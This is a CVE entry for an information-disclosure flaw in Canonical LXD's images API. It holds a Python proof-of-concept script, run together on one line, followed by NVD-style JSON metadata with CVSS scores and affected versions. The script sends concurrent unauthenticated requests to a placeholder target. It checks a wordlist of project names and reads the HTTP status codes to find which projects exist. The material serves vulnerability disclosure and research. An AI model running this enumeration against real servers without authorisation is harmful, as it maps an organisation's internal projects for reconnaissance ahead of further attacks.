CVE-2025-54291

#!/usr/bin/env python3 # CVE-2025-54291 PoC - LXD Images API Project Enumeration # Exploits information disclosure via differing HTTP status codes # Author: Security Researcher import requests import sys import concurrent.futures from urllib3.exceptions import InsecureRequestWarning # Suppress SSL warnings requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) TARGET_URL = "https://lxd-target.example.com:8443" WORDLIST = [ "default", "admin", "test", "production", "staging", "dev", "development", "backend", "frontend", "internal", "project1", "project2", "team-a", "team-b", "shared", "public", "private", "backup", "archive", "legacy" ] def check_project(project_name): """ Send a request to LXD images API with a specific project parameter. Different HTTP status codes indicate project existence. """ try: # LXD images API endpoint with project parameter url = f"{TARGET_URL}/1.0/images" params = {"project": project_name} headers = {"Accept": "application/json"} response = requests.get( url, params=params, headers=headers, verify=False, timeout=10 ) # 200 = project exists, 403/404 = project doesn't exist or access denied if response.status_code == 200: return (project_name, True, response.status_code) elif response.status_code == 403: return (project_name, False, response.status_code) elif response.status_code == 404: return (project_name, False, response.status_code) else: return (project_name, None, response.status_code) except requests.exceptions.RequestException as e: return (project_name, None, str(e)) def main(): print(f"[*] CVE-2025-54291 - LXD Project Enumeration PoC") print(f"[*] Target: {TARGET_URL}") print(f"[*] Testing {len(WORDLIST)} project names...\n") existing_projects = [] # Use thread pool for faster enumeration with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor: futures = {executor.submit(check_project, name): name for name in WORDLIST} for future in concurrent.futures.as_completed(futures): project_name, exists, status = future.result() if exists is True: print(f"[+] FOUND: '{project_name}' (status: {status})") existing_projects.append(project_name) elif exists is False: print(f"[-] Not found: '{project_name}' (status: {status})") else: print(f"[?] Error: '{project_name}' (status: {status})") print(f"\n[*] Enumeration complete. Found {len(existing_projects)} existing projects:") for p in existing_projects: print(f" - {p}") if __name__ == "__main__": main()

{"cve": {"id": "CVE-2025-54291", "sourceIdentifier": "[email protected]", "published": "2025-10-02T10:15:39.387", "lastModified": "2025-10-24T14:11:07.983", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Information disclosure in images API in Canonical LXD before 6.5 and 5.21.4 on all platforms allows unauthenticated remote attackers to determine project existence via differing HTTP status code responses."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 6.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-209"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:canonical:lxd:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.0.0", "versionEndExcluding": "5.21.4", "matchCriteriaId": "FE33A015-C527-4726-8CBE-6EC6420B8933"}, {"vulnerable": true, "criteria": "cpe:2.3:a:canonical:lxd:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1", "versionEndExcluding": "6.5", "matchCriteriaId": "CCADB2F1-F122-4A17-88DD-F3FDD4ED796B"}]}]}], "references": [{"url": "https://github.com/canonical/lxd/security/advisories/GHSA-xch9-h8qw-85c7", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}